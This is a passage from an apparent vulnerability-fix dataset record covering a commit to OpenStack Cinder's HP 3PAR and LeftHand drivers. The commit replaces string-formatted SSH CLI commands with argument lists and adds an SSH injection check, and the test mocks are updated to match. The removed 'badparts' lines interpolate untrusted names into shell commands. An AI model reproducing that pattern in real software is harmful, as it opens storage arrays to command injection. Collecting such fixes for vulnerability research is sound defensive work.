self._cli_run('removevvset -f %s' % (vvs_name), None)\n+ self._cli_run(['setqos', '-clear', 'vvset:%s' % (vvs_name)])\n+ self._cli_run(['removevvset', '-f', vvs_name])\n \n def _remove_volume_from_volume_set(self, volume_name, vvs_name):\n- self._cli_run('removevvset -f %s %s' % (vvs_name, volume_name), None)\n+ self._cli_run(['removevvset', '-f', vvs_name, volume_name])\n \n def get_cpg(self, volume, allowSnap=False):\n volume_name = self._get_3par_vol_name(volume['id'])\n@@ -815,16 +804,16 @@ def create_volume(self, volume):\n def _copy_volume(self, src_name, dest_name, cpg=None, snap_cpg=None,\n tpvv=True):\n # Virtual volume sets are not supported with the -online option\n- cmd = 'createvvcopy -p %s -online ' % src_name\n+ cmd = ['createvvcopy', '-p', src_name, '-online']\n if snap_cpg:\n- cmd += '-snp_cpg %s ' % snap_cpg\n+ cmd.extend(['-snp_cpg', snap_cpg])\n if tpvv:\n- cmd += '-tpvv '\n+ cmd.append('-tpvv')\n if cpg:\n- cmd += cpg + ' '\n- cmd += dest_name\n+ cmd.append(cpg)\n+ cmd.append(dest_name)\n LOG.debug('Creating clone of a volume with %s' % cmd)\n- self._cli_run(cmd, None)\n+ self._cli_run(cmd)\n \n def get_next_word(self, s, search_string):\n \"\"\"Return the next word.\n@@ -871,9 +860,9 @@ def _get_vvset_from_3par(self, volume_name):\n NOTE(walter-boring): don't call this unless you know the volume is\n already in a vvset!\n \"\"\"\n- cmd = \"removevv -f %s\" % volume_name\n+ cmd = ['removevv', '-f', volume_name]\n LOG.debug(\"Issuing remove command to find vvset name %s\" % cmd)\n- out = self._cli_run(cmd, None)\n+ out = self._cli_run(cmd)\n vvset_name = None\n if out and len(out) > 1:\n if out[1].startswith(\"Attempt to delete \"):\n@@ -1037,7 +1026,7 @@ def delete_snapshot(self, snapshot):\n LOG.error(str(ex))\n \n def _get_3par_hostname_from_wwn_iqn(self, wwns_iqn):\n- out = self._cli_run('showhost -d', None)\n+ out = self._cli_run(['showhost', '-d'])\n # wwns_iqn may be a list of strings or a single\n # string. So, if necessary, create a list to loop.\n if not isinstance(wwns_iqn, list):\ndiff --git a/cinder/volume/drivers/san/hp/hp_3par_fc.py b/cinder/volume/drivers/san/hp/hp_3par_fc.py\nindex f9c46071b..f852f5a3c 100644\n--- a/cinder/volume/drivers/san/hp/hp_3par_fc.py\n+++ b/cinder/volume/drivers/san/hp/hp_3par_fc.py\n@@ -196,25 +196,31 @@ def terminate_connection(self, volume, connector, **kwargs):\n connector['wwpns'])\n self.common.client_logout()\n \n- def _create_3par_fibrechan_host(self, hostname, wwn, domain, persona_id):\n+ def _create_3par_fibrechan_host(self, hostname, wwns, domain, persona_id):\n \"\"\"Create a 3PAR host.\n \n Create a 3PAR host, if there is already a host on the 3par using\n the same wwn but with a different hostname, return the hostname\n used by 3PAR.\n \"\"\"\n- out = self.common._cli_run('createhost -persona %s -domain %s %s %s'\n- % (persona_id, domain,\n- hostname, \" \".join(wwn)), None)\n+ command = ['createhost', '-persona', persona_id, '-domain', domain,\n+ hostname]\n+ for wwn in wwns:\n+ command.append(wwn)\n+\n+ out = self.common._cli_run(command)\n if out and len(out) > 1:\n return self.common.parse_create_host_error(hostname, out)\n \n return hostname\n \n- def _modify_3par_fibrechan_host(self, hostname, wwn):\n+ def _modify_3par_fibrechan_host(self, hostname, wwns):\n # when using -add, you can not send the persona or domain options\n- out = self.common._cli_run('createhost -add %s %s'\n- % (hostname, \" \".join(wwn)), None)\n+ command = ['createhost', '-add', hostname]\n+ for wwn in wwns:\n+ command.append(wwn)\n+\n+ out = self.common._cli_run(command)\n \n def _create_host(self, volume, connector):\n \"\"\"Creates or modifies existing 3PAR host.\"\"\"\ndiff --git a/cinder/volume/drivers/san/hp/hp_3par_iscsi.py b/cinder/volume/drivers/san/hp/hp_3par_iscsi.py\nindex c0d2f9c36..3cd6bea78 100644\n--- a/cinder/volume/drivers/san/hp/hp_3par_iscsi.py\n+++ b/cinder/volume/drivers/san/hp/hp_3par_iscsi.py\n@@ -261,17 +261,17 @@ def _create_3par_iscsi_host(self, hostname, iscsi_iqn, domain, persona_id):\n the same iqn but with a different hostname, return the hostname\n used by 3PAR.\n \"\"\"\n- cmd = 'createhost -iscsi -persona %s -domain %s %s %s' % \\\n- (persona_id, domain, hostname, iscsi_iqn)\n- out = self.common._cli_run(cmd, None)\n+ cmd = ['createhost', '-iscsi', '-persona', persona_id, '-domain',\n+ domain, hostname, iscsi_iqn]\n+ out = self.common._cli_run(cmd)\n if out and len(out) > 1:\n return self.common.parse_create_host_error(hostname, out)\n return hostname\n \n def _modify_3par_iscsi_host(self, hostname, iscsi_iqn):\n # when using -add, you can not send the persona or domain options\n- self.common._cli_run('createhost -iscsi -add %s %s'\n- % (hostname, iscsi_iqn), None)\n+ command = ['createhost', '-iscsi', '-add', hostname, iscsi_iqn]\n+ self.common._cli_run(command)\n \n def _create_host(self, volume, connector):\n \"\"\"Creates or modifies existing 3PAR host.\"\"\"\n@@ -349,7 +349,7 @@ def _get_ip_using_nsp(self, nsp):\n \n def _get_active_nsp(self, hostname):\n \"\"\"Return the active nsp, if one exists, for the given host.\"\"\"\n- result = self.common._cli_run('showvlun -a -host %s' % hostname, None)\n+ result = self.common._cli_run(['showvlun', '-a', '-host', hostname])\n if result:\n # first line is header\n result = result[1:]\n@@ -361,7 +361,7 @@ def _get_active_nsp(self, hostname):\n def _get_least_used_nsp(self, nspss):\n \"\"\"\"Return the nsp that has the fewest active vluns.\"\"\"\n # return only the nsp (node:server:port)\n- result = self.common._cli_run('showvlun -a -showcols Port', None)\n+ result = self.common._cli_run(['showvlun', '-a', '-showcols', 'Port'])\n \n # count the number of nsps (there is 1 for each active vlun)\n nsp_counts = {}\ndiff --git a/cinder/volume/drivers/san/hp_lefthand.py b/cinder/volume/drivers/san/hp_lefthand.py\nindex 0a5d02f7c..7fea86a38 100644\n--- a/cinder/volume/drivers/san/hp_lefthand.py\n+++ b/cinder/volume/drivers/san/hp_lefthand.py\n@@ -59,12 +59,11 @@ def __init__(self, *args, **kwargs):\n \n def _cliq_run(self, verb, cliq_args, check_exit_code=True):\n \"\"\"Runs a CLIQ command over SSH, without doing any result parsing\"\"\"\n- cliq_arg_strings = []\n+ cmd_list = [verb]\n for k, v in cliq_args.items():\n- cliq_arg_strings.append(\" %s=%s\" % (k, v))\n- cmd = verb + ''.join(cliq_arg_strings)\n+ cmd_list.append(\"%s=%s\" % (k, v))\n \n- return self._run_ssh(cmd, check_exit_code)\n+ return self._run_ssh(cmd_list, check_exit_code)\n \n def _cliq_run_xml(self, verb, cliq_args, check_cliq_result=True):\n \"\"\"Runs a CLIQ command over SSH, parsing and checking the output\"\"\"\n", "message": "", "files": {"/cinder/tests/test_hp3par.py": {"changes": [{"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack('no hosts listed'), ''])\n \n- create_host_cmd = ('createhost -persona 1 -domain (\\'OpenStack\\',) '\n- 'fakehost 123456789012345 123456789054321')\n+ create_host_cmd = (['createhost', '-persona', '1', '-domain',\n+ ('OpenStack',), 'fakehost', '123456789012345',\n+ '123456789054321'])\n _run_ssh(create_host_cmd, False).AndReturn([CLI_CR, ''])\n \n _run_ssh(show_host_cmd, False).AndReturn([pack(FC_HOST_RET), ''])\n", "add": 4, "remove": 3, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_host_cmd = 'showhost -verbose fakehost'", " create_host_cmd = ('createhost -persona 1 -domain (\\'OpenStack\\',) '", " 'fakehost 123456789012345 123456789054321')"], "goodparts": [" show_host_cmd = ['showhost', '-verbose', 'fakehost']", " create_host_cmd = (['createhost', '-persona', '1', '-domain',", " ('OpenStack',), 'fakehost', '123456789012345',", " '123456789054321'])"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack('no hosts listed'), ''])\n \n- create_host_cmd = ('createhost -persona 1 -domain (\\'OpenStack\\',) '\n- 'fakehost 123456789012345 123456789054321')\n+ create_host_cmd = (['createhost', '-persona', '1', '-domain',\n+ ('OpenStack',), 'fakehost', '123456789012345',\n+ '123456789054321'])\n create_host_ret = pack(CLI_CR +\n 'already used by host fakehost.foo (19)')\n _run_ssh(create_host_cmd, False).AndReturn([create_host_ret, ''])\n \n- show_3par_cmd = 'showhost -verbose fakehost.foo'\n+ show_3par_cmd = ['showhost', '-verbose', 'fakehost.foo']\n _run_ssh(show_3par_cmd, False).AndReturn([pack(FC_SHOWHOST_RET), ''])\n self.mox.ReplayAll()\n \n", "add": 5, "remove": 4, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_host_cmd = 'showhost -verbose fakehost'", " create_host_cmd = ('createhost -persona 1 -domain (\\'OpenStack\\',) '", " 'fakehost 123456789012345 123456789054321')", " show_3par_cmd = 'showhost -verbose fakehost.foo'"], "goodparts": [" show_host_cmd = ['showhost', '-verbose', 'fakehost']", " create_host_cmd = (['createhost', '-persona', '1', '-domain',", " ('OpenStack',), 'fakehost', '123456789012345',", " '123456789054321'])", " show_3par_cmd = ['showhost', '-verbose', 'fakehost.foo']"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack(NO_FC_HOST_RET), ''])\n \n- create_host_cmd = ('createhost -add fakehost '\n- '123456789012345 123456789054321')\n+ create_host_cmd = ['createhost', '-add', 'fakehost', '123456789012345',\n+ '123456789054321']\n _run_ssh(create_host_cmd, False).AndReturn([CLI_CR, ''])\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack(FC_HOST_RET), ''])\n self.mox.ReplayAll()\n \n", "add": 4, "remove": 4, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_host_cmd = 'showhost -verbose fakehost'", " create_host_cmd = ('createhost -add fakehost '", " '123456789012345 123456789054321')", " show_host_cmd = 'showhost -verbose fakehost'"], "goodparts": [" show_host_cmd = ['showhost', '-verbose', 'fakehost']", " create_host_cmd = ['createhost', '-add', 'fakehost', '123456789012345',", " '123456789054321']", " show_host_cmd = ['showhost', '-verbose', 'fakehost']"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack('no hosts listed'), ''])\n \n- create_host_cmd = ('createhost -iscsi -persona 1 -domain '\n- '(\\'OpenStack\\',) '\n- 'fakehost iqn.1993-08.org.debian:01:222')\n+ create_host_cmd = (['createhost', '-iscsi', '-persona', '1', '-domain',\n+ ('OpenStack',), 'fakehost',\n+ 'iqn.1993-08.org.debian:01:222'])\n _run_ssh(create_host_cmd, False).AndReturn([CLI_CR, ''])\n \n _run_ssh(show_host_cmd, False).AndReturn([pack(ISCSI_HOST_RET), ''])\n", "add": 4, "remove": 4, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_host_cmd = 'showhost -verbose fakehost'", " create_host_cmd = ('createhost -iscsi -persona 1 -domain '", " '(\\'OpenStack\\',) '", " 'fakehost iqn.1993-08.org.debian:01:222')"], "goodparts": [" show_host_cmd = ['showhost', '-verbose', 'fakehost']", " create_host_cmd = (['createhost', '-iscsi', '-persona', '1', '-domain',", " ('OpenStack',), 'fakehost',", " 'iqn.1993-08.org.debian:01:222'])"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack('no hosts listed'), ''])\n \n- create_host_cmd = ('createhost -iscsi -persona 1 -domain '\n- '(\\'OpenStack\\',) '\n- 'fakehost iqn.1993-08.org.debian:01:222')\n+ create_host_cmd = (['createhost', '-iscsi', '-persona', '1', '-domain',\n+ ('OpenStack',), 'fakehost',\n+ 'iqn.1993-08.org.debian:01:222'])\n in_use_ret = pack('\\r\\nalready used by host fakehost.foo ')\n _run_ssh(create_host_cmd, False).AndReturn([in_use_ret, ''])\n \n- show_3par_cmd = 'showhost -verbose fakehost.foo'\n+ show_3par_cmd = ['showhost', '-verbose', 'fakehost.foo']\n _run_ssh(show_3par_cmd, False).AndReturn([pack(ISCSI_3PAR_RET), ''])\n self.mox.ReplayAll()\n \n", "add": 5, "remove": 5, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_host_cmd = 'showhost -verbose fakehost'", " create_host_cmd = ('createhost -iscsi -persona 1 -domain '", " '(\\'OpenStack\\',) '", " 'fakehost iqn.1993-08.org.debian:01:222')", " show_3par_cmd = 'showhost -verbose fakehost.foo'"], "goodparts": [" show_host_cmd = ['showhost', '-verbose', 'fakehost']", " create_host_cmd = (['createhost', '-iscsi', '-persona', '1', '-domain',", " ('OpenStack',), 'fakehost',", " 'iqn.1993-08.org.debian:01:222'])", " show_3par_cmd = ['showhost', '-verbose', 'fakehost.foo']"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_host_cmd = 'showhost -verbose fakehost'\n+ show_host_cmd = ['showhost', '-verbose', 'fakehost']\n _run_ssh(show_host_cmd, False).AndReturn([pack(ISCSI_NO_HOST_RET), ''])\n \n- create_host_cmd = ('createhost -iscsi -add fakehost '\n- 'iqn.1993-08.org.debian:01:222')\n+ create_host_cmd = ['createhost', '-iscsi', '-add', 'fakehost',\n+ 'iqn.1993-08.org.debian:01:222']\n _run_ssh(create_host_cmd, False).AndReturn([CLI_CR, ''])\n _run_ssh(show_host_cmd, False).AndReturn([pack(ISCSI_HOST_RET), ''])\n self.mox.ReplayAll()\n", "add": 3, "remove": 3, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_host_cmd = 'showhost -verbose fakehost'", " create_host_cmd = ('createhost -iscsi -add fakehost '", " 'iqn.1993-08.org.debian:01:222')"], "goodparts": [" show_host_cmd = ['showhost', '-verbose', 'fakehost']", " create_host_cmd = ['createhost', '-iscsi', '-add', 'fakehost',", " 'iqn.1993-08.org.debian:01:222']"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_port_cmd = 'showport'\n+ show_port_cmd = ['showport']\n _run_ssh(show_port_cmd, False).AndReturn([pack(PORT_RET), ''])\n \n- show_port_i_cmd = 'showport -iscsi'\n+ show_port_i_cmd = ['showport', '-iscsi']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(READY_ISCSI_PORT_RET),\n ''])\n \n- show_port_i_cmd = 'showport -iscsiname'\n+ show_port_i_cmd = ['showport', '-iscsiname']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(SHOW_PORT_ISCSI),\n ''])\n self.mox.ReplayAll()\n", "add": 3, "remove": 3, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_port_cmd = 'showport'", " show_port_i_cmd = 'showport -iscsi'", " show_port_i_cmd = 'showport -iscsiname'"], "goodparts": [" show_port_cmd = ['showport']", " show_port_i_cmd = ['showport', '-iscsi']", " show_port_i_cmd = ['showport', '-iscsiname']"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_port_cmd = 'showport'\n+ show_port_cmd = ['showport']\n _run_ssh(show_port_cmd, False).AndReturn([pack(PORT_RET), ''])\n \n- show_port_i_cmd = 'showport -iscsi'\n+ show_port_i_cmd = ['showport', '-iscsi']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(READY_ISCSI_PORT_RET),\n ''])\n \n- show_port_i_cmd = 'showport -iscsiname'\n+ show_port_i_cmd = ['showport', '-iscsiname']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(SHOW_PORT_ISCSI), ''])\n \n self.mox.ReplayAll()\n", "add": 3, "remove": 3, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_port_cmd = 'showport'", " show_port_i_cmd = 'showport -iscsi'", " show_port_i_cmd = 'showport -iscsiname'"], "goodparts": [" show_port_cmd = ['showport']", " show_port_i_cmd = ['showport', '-iscsi']", " show_port_i_cmd = ['showport', '-iscsiname']"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_vlun_cmd = 'showvlun -a -host fakehost'\n+ show_vlun_cmd = ['showvlun', '-a', '-host', 'fakehost']\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(SHOW_VLUN), ''])\n \n self.mox.ReplayAll()\n", "add": 1, "remove": 1, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_vlun_cmd = 'showvlun -a -host fakehost'"], "goodparts": [" show_vlun_cmd = ['showvlun', '-a', '-host', 'fakehost']"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_port_cmd = 'showport'\n+ show_port_cmd = ['showport']\n _run_ssh(show_port_cmd, False).AndReturn([pack(PORT_RET), ''])\n \n- show_port_i_cmd = 'showport -iscsi'\n+ show_port_i_cmd = ['showport', '-iscsi']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(READY_ISCSI_PORT_RET),\n ''])\n \n- show_port_i_cmd = 'showport -iscsiname'\n+ show_port_i_cmd = ['showport', '-iscsiname']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(SHOW_PORT_ISCSI), ''])\n \n #record\n- show_vlun_cmd = 'showvlun -a -host fakehost'\n+ show_vlun_cmd = ['showvlun', '-a', '-host', 'fakehost']\n show_vlun_ret = 'no vluns listed\\r\\n'\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(show_vlun_ret), ''])\n- show_vlun_cmd = 'showvlun -a -showcols Port'\n+ show_vlun_cmd = ['showvlun', '-a', '-showcols', 'Port']\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(SHOW_VLUN_NONE), ''])\n \n self.mox.ReplayAll()\n", "add": 5, "remove": 5, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_port_cmd = 'showport'", " show_port_i_cmd = 'showport -iscsi'", " show_port_i_cmd = 'showport -iscsiname'", " show_vlun_cmd = 'showvlun -a -host fakehost'", " show_vlun_cmd = 'showvlun -a -showcols Port'"], "goodparts": [" show_port_cmd = ['showport']", " show_port_i_cmd = ['showport', '-iscsi']", " show_port_i_cmd = ['showport', '-iscsiname']", " show_vlun_cmd = ['showvlun', '-a', '-host', 'fakehost']", " show_vlun_cmd = ['showvlun', '-a', '-showcols', 'Port']"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_port_cmd = 'showport'\n+ show_port_cmd = ['showport']\n _run_ssh(show_port_cmd, False).AndReturn([pack(PORT_RET), ''])\n \n- show_port_i_cmd = 'showport -iscsi'\n+ show_port_i_cmd = ['showport', '-iscsi']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(READY_ISCSI_PORT_RET),\n ''])\n \n- show_port_i_cmd = 'showport -iscsiname'\n+ show_port_i_cmd = ['showport', '-iscsiname']\n _run_ssh(show_port_i_cmd, False).AndReturn([pack(SHOW_PORT_ISCSI), ''])\n \n config = self.setup_configuration()\n", "add": 3, "remove": 3, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_port_cmd = 'showport'", " show_port_i_cmd = 'showport -iscsi'", " show_port_i_cmd = 'showport -iscsiname'"], "goodparts": [" show_port_cmd = ['showport']", " show_port_i_cmd = ['showport', '-iscsi']", " show_port_i_cmd = ['showport', '-iscsiname']"]}, {"diff": "\n _run_ssh = self.mox.CreateMock(hpdriver.hpcommon.HP3PARCommon._run_ssh)\n self.stubs.Set(hpdriver.hpcommon.HP3PARCommon, \"_run_ssh\", _run_ssh)\n \n- show_vlun_cmd = 'showvlun -a -showcols Port'\n+ show_vlun_cmd = ['showvlun', '-a', '-showcols', 'Port']\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(SHOW_VLUN_NONE), ''])\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(SHOW_VLUN_NONE), ''])\n _run_ssh(show_vlun_cmd, False).AndReturn([pack(SHOW_VLUN_NONE), ''])", "add": 1, "remove": 1, "filename": "/cinder/tests/test_hp3par.py", "badparts": [" show_vlun_cmd = 'showvlun -a -showcols Port'"], "goodparts": [" show_vlun_cmd = ['showvlun', '-a', '-showcols', 'Port']"]}]}, "/cinder/volume/drivers/san/hp/hp_3par_common.py": {"changes": [{"diff": "\n The 3PAR WS API server has a limit of concurrent connections.\n This is setting the number to the highest allowed, 15 connections.\n \"\"\"\n- self._cli_run(\"setwsapi -sru high\", None)\n+ self._cli_run(['setwsapi', '-sru', 'high'])\n \n def get_domain(self, cpg_name):\n try:\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" self._cli_run(\"setwsapi -sru high\", None)"], "goodparts": [" self._cli_run(['setwsapi', '-sru', 'high'])"]}, {"diff": "\n LOG.debug(\"Extending Volume %s from %s to %s, by %s GB.\" %\n (volume_name, old_size, new_size, growth_size))\n try:\n- self._cli_run(\"growvv -f %s %sg\" % (volume_name, growth_size),\n- None)\n+ self._cli_run(['growvv', '-f', volume_name, '%dg' % growth_size])\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_(\"Error extending volume %s\") % volume)\n", "add": 1, "remove": 2, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" self._cli_run(\"growvv -f %s %sg\" % (volume_name, growth_size),", " None)"], "goodparts": [" self._cli_run(['growvv', '-f', volume_name, '%dg' % growth_size])"]}, {"diff": "\n capacity = int(round(capacity / MiB))\n return capacity\n \n- def _cli_run(self, verb, cli_args):\n+ def _cli_run(self, cmd):\n \"\"\"Runs a CLI command over SSH, without doing any result parsing.\"\"\"\n- cli_arg_strings = []\n- if cli_args:\n- for k, v in cli_args.items():\n- if k == '':\n- cli_arg_strings.append(\" %s\" % k)\n- else:\n- cli_arg_strings.append(\" %s=%s\" % (k, v))\n-\n- cmd = verb + ''.join(cli_arg_strings)\n LOG.debug(\"SSH CMD = %s \" % cmd)\n \n (stdout, stderr) = self._run_ssh(cmd, False)\n", "add": 1, "remove": 10, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" def _cli_run(self, verb, cli_args):", " cli_arg_strings = []", " if cli_args:", " for k, v in cli_args.items():", " if k == '':", " cli_arg_strings.append(\" %s\" % k)", " else:", " cli_arg_strings.append(\" %s=%s\" % (k, v))", " cmd = verb + ''.join(cli_arg_strings)"], "goodparts": [" def _cli_run(self, cmd):"]}, {"diff": "\n channel.close()\n return (stdout, stderr)\n \n- def _run_ssh(self, command, check_exit=True, attempts=1):\n+ def _run_ssh(self, cmd_list, check_exit=True, attempts=1):\n+ utils.check_ssh_injection(cmd_list)\n+ command = ' '. join(cmd_list)\n+\n if not self.sshpool:\n self.sshpool = utils.SSHPool(self.config.san_ip,\n self.config.san_ssh_port,\n", "add": 4, "remove": 1, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" def _run_ssh(self, command, check_exit=True, attempts=1):"], "goodparts": [" def _run_ssh(self, cmd_list, check_exit=True, attempts=1):", " utils.check_ssh_injection(cmd_list)", " command = ' '. join(cmd_list)"]}, {"diff": "\n LOG.error(_(\"Error running ssh command: %s\") % command)\n \n def _delete_3par_host(self, hostname):\n- self._cli_run('removehost %s' % hostname, None)\n+ self._cli_run(['removehost', hostname])\n \n def _create_3par_vlun(self, volume, hostname):\n- out = self._cli_run('createvlun %s auto %s' % (volume, hostname), None)\n+ out = self._cli_run(['createvlun', volume, 'auto', hostname])\n if out and len(out) > 1:\n if \"must be in the same domain\" in out[0]:\n err = out[0].strip()\n", "add": 2, "remove": 2, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" self._cli_run('removehost %s' % hostname, None)", " out = self._cli_run('createvlun %s auto %s' % (volume, hostname), None)"], "goodparts": [" self._cli_run(['removehost', hostname])", " out = self._cli_run(['createvlun', volume, 'auto', hostname])"]}, {"diff": "\n return hostname[:index]\n \n def _get_3par_host(self, hostname):\n- out = self._cli_run('showhost -verbose %s' % (hostname), None)\n+ out = self._cli_run(['showhost', '-verbose', hostname])\n LOG.debug(\"OUTPUT = \\n%s\" % (pprint.pformat(out)))\n host = {'id': None, 'name': None,\n 'domain': None,\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" out = self._cli_run('showhost -verbose %s' % (hostname), None)"], "goodparts": [" out = self._cli_run(['showhost', '-verbose', hostname])"]}, {"diff": "\n \n def get_ports(self):\n # First get the active FC ports\n- out = self._cli_run('showport', None)\n+ out = self._cli_run(['showport'])\n \n # strip out header\n # N:S:P,Mode,State,----Node_WWN----,-Port_WWN/HW_Addr-,Type,\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" out = self._cli_run('showport', None)"], "goodparts": [" out = self._cli_run(['showport'])"]}, {"diff": "\n ports['FC'].append(tmp[4])\n \n # now get the active iSCSI ports\n- out = self._cli_run('showport -iscsi', None)\n+ out = self._cli_run(['showport', '-iscsi'])\n \n # strip out header\n # N:S:P,State,IPAddr,Netmask,Gateway,\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" out = self._cli_run('showport -iscsi', None)"], "goodparts": [" out = self._cli_run(['showport', '-iscsi'])"]}, {"diff": "\n ports['iSCSI'][tmp[2]] = {}\n \n # now get the nsp and iqn\n- result = self._cli_run('showport -iscsiname', None)\n+ result = self._cli_run(['showport', '-iscsiname'])\n if result:\n # first line is header\n # nsp, ip,iqn\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" result = self._cli_run('showport -iscsiname', None)"], "goodparts": [" result = self._cli_run(['showport', '-iscsiname'])"]}, {"diff": "\n cli_qos_string += ('-io %s ' % max_io)\n if max_bw is not None:\n cli_qos_string += ('-bw %sM ' % max_bw)\n- self._cli_run('setqos %svvset:%s' %\n- (cli_qos_string, vvs_name), None)\n+ self._cli_run(['setqos', '%svvset:%s' % (cli_qos_string, vvs_name)])\n \n def _add_volume_to_volume_set(self, volume, volume_name,\n cpg, vvs_name, qos):\n if vvs_name is not None:\n # Admin has set a volume set name to add the volume to\n- self._cli_run('createvvset -add %s %s' % (vvs_name,\n- volume_name), None)\n+ self._cli_run(['createvvset', '-add', vvs_name, volume_name])\n else:\n vvs_name = self._get_3par_vvs_name(volume['id'])\n domain = self.get_domain(cpg)\n- self._cli_run('createvvset -domain %s %s' % (domain,\n- vvs_name), None)\n+ self._cli_run(['createvvset', '-domain', domain, vvs_name])\n self._set_qos_rule(qos, vvs_name)\n- self._cli_run('createvvset -add %s %s' % (vvs_name,\n- volume_name), None)\n+ self._cli_run(['createvvset', '-add', vvs_name, volume_name])\n \n def _remove_volume_set(self, vvs_name):\n # Must first clear the QoS rules before removing the volume set\n- self._cli_run('setqos -clear vvset:%s' % (vvs_name), None)\n- self._cli_run('removevvset -f %s' % (vvs_name), None)\n+ self._cli_run(['setqos', '-clear', 'vvset:%s' % (vvs_name)])\n+ self._cli_run(['removevvset', '-f', vvs_name])\n \n def _remove_volume_from_volume_set(self, volume_name, vvs_name):\n- self._cli_run('removevvset -f %s %s' % (vvs_name, volume_name), None)\n+ self._cli_run(['removevvset', '-f', vvs_name, volume_name])\n \n def get_cpg(self, volume, allowSnap=False):\n volume_name = self._get_3par_vol_name(volume['id'])\n", "add": 7, "remove": 11, "filename": "/cinder/volume/drivers/san/hp/hp_3par_common.py", "badparts": [" self._cli_run('setqos %svvset:%s' %", " (cli_qos_string, vvs_name), None)", " self._cli_run('createvvset -add %s %s' % (vvs_name,", " volume_name), None)", " self._cli_run('createvvset -domain %s %s' % (domain,", " vvs_name), None)", " 